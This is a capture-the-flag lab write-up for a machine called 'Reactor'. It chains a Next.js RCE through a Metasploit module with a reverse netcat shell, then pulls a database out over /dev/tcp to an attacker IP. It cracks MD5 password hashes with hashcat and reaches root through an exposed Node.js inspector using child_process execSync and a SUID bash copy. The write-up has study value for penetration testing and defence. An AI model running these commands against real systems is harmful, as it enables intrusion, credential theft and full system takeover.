Gained initial access by exploiting a React/Next.js command execution flaw, retrieved credentials from an internal SQLite database, and escalated to root through an exposed Node.js inspector debugger session.
- React2Shell
- Next.js
- Node.js
Introduction
Reactor is a Linux-based machine exposing a minimal external attack surface consisting of a Next.js web application. Initial access is obtained by exploiting a command execution vulnerability in a Metasploit module targeting the React-based backend. Post-exploitation enumeration reveals an internal SQLite database containing credentials for an application user. Privilege escalation is achieved by abusing a locally exposed Node.js debugging interface (--inspect), allowing arbitrary code execution in the context of a privileged system process. The final escalation path relies on hijacking the Node.js debugger session to execute system commands as root.
Initial Enumeration
1. External Enumeration
TCP Scan
nmap -p- -sV -T4 reactor.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu3.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?
At first glance, Nmap did not correctly fingerprint the service on port 3000, returning an ambiguous ppp? service label and failing to identify HTTP or any web stack.
To clarify the service running on this port, an additional targeted HTTP probe was performed using external service fingerprinting data (nerva.json).
HTTP Service Verification (Nerva)
{
"ip": "10.129.3.223",
"port": 3000,
"protocol": "http",
"tls": false,
"transport": "tcp",
"metadata": {
"status": "200 OK",
"status_code": 200,
"response_headers": {
"Content-Type": "text/html; charset=utf-8",
"X-Powered-By": "Next.js"
},
"technologies": [
"React",
"Webpack",
"Next.js",
"Node.js"
]
}
}
The service on port 3000 is confirmed as a Next.js (Node.js) HTTP application, despite Nmap’s incomplete fingerprinting.
Final Service Interpretation
- Port 3000: HTTP service (Next.js / React frontend)
- Port 22: SSH (OpenSSH 9.6p1 Ubuntu)
- Application Stack: Node.js + Next.js web application
- Initial Attack Surface: Single web entry point on TCP/3000
2. Exploitation: React/Next.js Command Injection (Metasploit)
The target is exploited using a Metasploit module designed for a command injection vulnerability in a React/Next.js handler.
Module Configuration
msfconsole
use exploit/multi/http/react2shell_unauth_rce_cve_2025_55182
RHOSTS => reactor.htb
RPORT => 3000
TARGETURI => /
LHOST => 10.10.15.191
LPORT => 4444
LOGIN_CMD => /bin/nc
Payload type:
cmd/unix/reverse_netcat
Exploit Execution
run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Started reverse TCP handler against 10.10.15.191:4444
[*] Command shell session 1 opened (10.10.15.191:4444 -> 10.129.3.223:49334)
Verification Commands
id
uid=999(node) gid=988(node) groups=988(node)
whoami
node
ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db
Foothold achieved as node.
3. Post-Exploitation Enumeration
System Inspection
uname -a
Linux reactor 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64 GNU/Linux
Database Discovery
cat reactor.db
Initial raw output indicated an embedded SQLite database.
Database extraction via transfer:
nc -nvlp 4444 > reactor.db
Target-side:
cat reactor.db > /dev/tcp/10.10.15.191/4444
Local verification:
file reactor.db
SQLite 3.x database
4. Credential Extraction (SQLite)
sqlite3 reactor.db
.tables
sensor_logs users
Schema Inspection
.schema users
CREATE TABLE users (
id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password_hash TEXT NOT NULL,
role TEXT NOT NULL,
email TEXT
);
Data Extraction
select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
Password Cracking / Identification
hashcat -m 0 hashes.txt ../../../rockyou.txt -w3
Found:
engineer:
39d97110eafe2a9a68639812cd271e8e -> reactor1
5. User Access (SSH)
Using recovered credentials:
ssh engineer@reactor.htb
engineer@reactor:~$
User Flag
cat user.txt
22a0e3cc<SNIP>
6. Local Enumeration
Privileges
sudo -l
Sorry, user engineer may not run sudo on reactor.
Running Services
ss -tulpn
127.0.0.1:9229 LISTEN node inspector
*:3000 LISTEN next.js
The system exposes a Node.js inspector/debugger interface on localhost only.
Process Context
ls /opt
reactor-app
uptime-monitor
The Node.js service uptime-monitor is responsible for the debug interface binding.
7. Node.js Debugger Abuse (Privilege Escalation Path)
7.1 Accessing the Inspector
The Node.js process is started with:
--inspect=127.0.0.1:9229
This exposes a V8 debugger protocol bound to localhost, restricting direct external access.
Remote Access via SSH Port Forwarding
ssh -L 9229:127.0.0.1:9229 engineer@reactor.htb
Linux reactor 6.8.0-117-generic ...
Last login: ...
engineer@reactor:~$
This forwards the remote Node.js inspector port to the local machine, making it accessible via 127.0.0.1:9229.
Debugger Connection
node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug>
The Node.js debugging interface is now accessible locally, enabling execution in the context of the remote Node process.
7.2 Debugger Capability Validation
debug> exec("process.version")
v20.20.2
The context allows execution via process.mainModule.require.
7.3 Initial Code Execution Test
The Node.js inspector returns different output formats depending on how the result is handled. Raw execution does not always print human-readable stdout.
Raw Execution
debug> exec("process.mainModule.require('child_process').execSync('id')")
Uint8Array(39)
Decoded Output
debug> exec("process.mainModule.require('child_process').execSync('id').toString()")
uid=0(root) gid=0(root) groups=0(root)
Verification Commands
debug> exec("process.mainModule.require('child_process').execSync('whoami').toString()")
root
7.4 File System Write Capability
debug> exec("process.mainModule.require('child_process').execSync('touch /tmp/test')")
(no output expected)
From engineer ssh shell:
ls /tmp
test
7.5 Privilege Escalation via SUID Shell Creation
A local root-equivalent escalation is prepared by copying a privileged binary:
debug> exec("process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/primebash && chmod +s /tmp/primebash')")
Verification:
ls -l /tmp/primebash
-rwsr-sr-x 1 root root ... /tmp/primebash
7.6 Root Shell Execution
/tmp/primebash -p
primebash-5.2# whoami
root
8. Root Flag
cat /root/root.txt
56fddd<SNIP>
Conclusions
- Metasploit Reliability Tradeoff: The initial RCE chain is automated, but payload selection (
LOGIN_CMD) strongly influences shell stability and session creation reliability. - Local Debug Interfaces: Node.js inspector (
--inspect) exposed on localhost can be equivalent to remote code execution when accessible from a compromised user. - Process Trust Boundary Failure: The debugging interface runs within the same security context as the application, allowing arbitrary code execution without privilege separation.
- SUID Misuse: Copying
/bin/bashand applying SUID permissions provides a direct escalation path when write access to privileged operations is available. - Attack Chain Summary: Web RCE → SQLite credential extraction → SSH user access → Node inspector abuse → SUID root shell.